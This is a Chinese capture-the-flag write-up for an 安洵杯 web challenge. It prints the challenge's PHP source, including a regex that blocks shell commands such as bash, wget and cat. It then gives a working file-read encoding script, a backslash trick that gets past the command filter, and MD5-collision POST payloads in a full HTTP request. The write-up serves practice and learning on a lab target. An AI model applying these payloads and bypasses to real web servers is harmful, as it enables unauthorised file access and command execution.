安洵杯web

致谢

https://www.cnblogs.com/Cl0ud/p/12585242.html

题目分析

打开题目,观察URL为http://31d9d742-c1f3-428c-860d-b09b30c2b2d9.node3.buuoj.cn/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

于是猜测有个文件读取和命令执行,但是文件读取的格式是加密的,考虑base64解密,解密两次后再hex2ascii,可以得到文件名。

copy大佬的脚本,输入文件名即可得到根据此加密规律加密后的文件名:

1
2
3
4
5
6
7
8
9
import binascii
import base64
filename = input().encode(encoding='utf-8')
hex = binascii.b2a_hex(filename) #b2a是返回二进制数据的16进制表示
print(hex)
base1 = base64.b64encode(hex)
base2 = base64.b64encode(base1)
print(base2.decode())

输入index.php后可以得到index.php文件名的加密后的名字,放到img里面查看源代码为base64加密的,把base64解密后即可得到index.php的源代码

index.php源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
highlight_file(__FILE__);
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo "success";
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<body>
</body>
</html>

对源码进行审计,重点在命令执行部分。

命令执行有很多过滤,这里过滤不完全(正则表达式有待学习),可用ca\t%20fl\ag绕过。

在命令执行前需要满足

1
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))

这里可以考虑fastcoll构造两个hash值相同的二进制文件。

我这里构造好了,具体的使用方法可以百度fastcoll。

使用该软件构造好后,使用如下php脚本可以获得urlencode后的md5值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
function readmyfile($path){
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
echo '二进制hash '. md5( (readmyfile("1.txt")));
echo "<br><br>\r\n";
echo 'URLENCODE '. urlencode(readmyfile("1.txt"));
echo "<br><br>\r\n";
echo 'URLENCODE hash '.md5(urlencode (readmyfile("1.txt")));
echo "<br><br>\r\n";
echo '二进制hash '.md5( (readmyfile("2.txt")));
echo "<br><br>\r\n";
echo 'URLENCODE '. urlencode(readmyfile("2.txt"));
echo "<br><br>\r\n";
echo 'URLENCODE hash '.md5( urlencode(readmyfile("2.txt")));
echo "<br><br>\r\n";

下面将这两个MD5值分别给POST的a和b赋值,同时URL的?cmd=ca\t%20fl\ag

这里我踩了个坑,一开始是GET方式提交请求,然后手动改方法为POST,一直不能成功,后来发现可能是某些请求头的问题,我这里用hackbar发送POST请求,请求体随便写,在BP里面抓包,将请求体的内容改成a和b的值,在此之后即可愉快地命令执行。

payload:

1
2
3
a=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%3B%11%1B%7E%CD%C3%A0h4E%95%0E%CC%BBq%7E%C2U%DF%23%92X%29%5D6%AA%3F%1E%D3%CC%9C%04v%E4%CA%E2%EA%EC%84%0Bk%24nC%C5%09s%B1%ADQ%9E%26%0C%FC%95%90%D9%04X%88%FAD%EA%2A%AFI%B2R%D3%EAQ%A6.rJ%E5%9A%94%97%3Cx%D1%A6G%F7UGL%10%C9%F4v%CE%B6%80%9E%9D%EF3%C6%26Q%94h%C2G%F5%B9%99%E4%A4%DD%D4%8C%3B%3D%B8%CE%13%A7%5B%D8%99%5C%2A%9A%E7%CC&b=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%3B%11%1B%7E%CD%C3%A0h4E%95%0E%CC%BBq%7E%C2U%DF%A3%92X%29%5D6%AA%3F%1E%D3%CC%9C%04v%E4%CA%E2%EA%EC%84%0Bk%24nC%C5%89s%B1%ADQ%9E%26%0C%FC%95%90%D9%04X%08%FAD%EA%2A%AFI%B2R%D3%EAQ%A6.rJ%E5%9A%94%97%3Cx%D1%A6%C7%F7UGL%10%C9%F4v%CE%B6%80%9E%9D%EF3%C6%26Q%94h%C2G%F5%B9%99d%A4%DD%D4%8C%3B%3D%B8%CE%13%A7%5B%D8%99%DC%2A%9A%E7%CC


请求包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=ca\t%20/fl\ag HTTP/1.1
Host: 31d9d742-c1f3-428c-860d-b09b30c2b2d9.node3.buuoj.cn
Content-Length: 1029
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://31d9d742-c1f3-428c-860d-b09b30c2b2d9.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://31d9d742-c1f3-428c-860d-b09b30c2b2d9.node3.buuoj.cn/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

a=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%3B%11%1B%7E%CD%C3%A0h4E%95%0E%CC%BBq%7E%C2U%DF%23%92X%29%5D6%AA%3F%1E%D3%CC%9C%04v%E4%CA%E2%EA%EC%84%0Bk%24nC%C5%09s%B1%ADQ%9E%26%0C%FC%95%90%D9%04X%88%FAD%EA%2A%AFI%B2R%D3%EAQ%A6.rJ%E5%9A%94%97%3Cx%D1%A6G%F7UGL%10%C9%F4v%CE%B6%80%9E%9D%EF3%C6%26Q%94h%C2G%F5%B9%99%E4%A4%DD%D4%8C%3B%3D%B8%CE%13%A7%5B%D8%99%5C%2A%9A%E7%CC&b=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%3B%11%1B%7E%CD%C3%A0h4E%95%0E%CC%BBq%7E%C2U%DF%A3%92X%29%5D6%AA%3F%1E%D3%CC%9C%04v%E4%CA%E2%EA%EC%84%0Bk%24nC%C5%89s%B1%ADQ%9E%26%0C%FC%95%90%D9%04X%08%FAD%EA%2A%AFI%B2R%D3%EAQ%A6.rJ%E5%9A%94%97%3Cx%D1%A6%C7%F7UGL%10%C9%F4v%CE%B6%80%9E%9D%EF3%C6%26Q%94h%C2G%F5%B9%99d%A4%DD%D4%8C%3B%3D%B8%CE%13%A7%5B%D8%99%DC%2A%9A%E7%CC

响应包如下图:

总结

好久没刷web了,太菜了,这道题一开始没思路,看着师傅们的wp复现出来的,踩坑踩了大概一个小时。